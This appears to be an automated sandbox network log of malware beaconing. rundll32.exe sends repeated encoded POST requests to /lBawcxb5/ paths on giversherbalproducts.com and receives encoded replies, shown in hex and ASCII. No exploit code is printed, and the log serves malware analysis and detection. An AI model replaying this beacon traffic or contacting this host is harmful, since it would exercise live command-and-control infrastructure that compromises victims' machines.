f3p/QUVCQ0FBfn15eH96fXh/eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
355	192.168.2.3	50197	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:05.875724077 CEST	7487	OUT	POST /lBawcxb5/GSseOwYaIEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:06.396693945 CEST	7488	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:05 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
356	192.168.2.3	50198	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:05.994587898 CEST	7488	OUT	POST /lBawcxb5/DT49PxcRPXl/e0J7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:06.481024027 CEST	7489	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:06 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
357	192.168.2.3	50199	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:06.844506025 CEST	7490	OUT	POST /lBawcxb5/Dz4IBiUTPUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:07.353321075 CEST	7492	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:06 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
358	192.168.2.3	50200	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:06.896547079 CEST	7491	OUT	POST /lBawcxb5/JAAiIH0BGjwHCQlyeiUJGz5zGjgSH3IHHB8pfEV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:07.500559092 CEST	7492	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:06 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
359	192.168.2.3	50201	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:07.681158066 CEST	7493	OUT	POST /lBawcxb5/fhooFAMiKTgfBjwOKQgcQntyfmF6fHNifWV5 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:08.146671057 CEST	7495	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:07 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49791	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:28.443301916 CEST	1121	OUT	POST /lBawcxb5/egl7fAgEMAQAAkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:28.897032976 CEST	1122	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:28 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzdEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
360	192.168.2.3	50202	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:07.919992924 CEST	7494	OUT	POST /lBawcxb5/MwAYeSksIBEFOEJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:08.401216984 CEST	7496	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:07 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
361	192.168.2.3	50203	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:08.480962038 CEST	7497	OUT	POST /lBawcxb5/HT8tDxc/fwUbNR0jOyI7KggqOykYHUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:08.942487001 CEST	7498	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:08 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
362	192.168.2.3	50204	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:08.729962111 CEST	7497	OUT	POST /lBawcxb5/OEN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:09.196146011 CEST	7499	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:08 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2f 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh/dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
363	192.168.2.3	50205	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:09.305177927 CEST	7500	OUT	POST /lBawcxb5/eB4/OR4beD98DhsnIwV/ODMlJT8eAUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
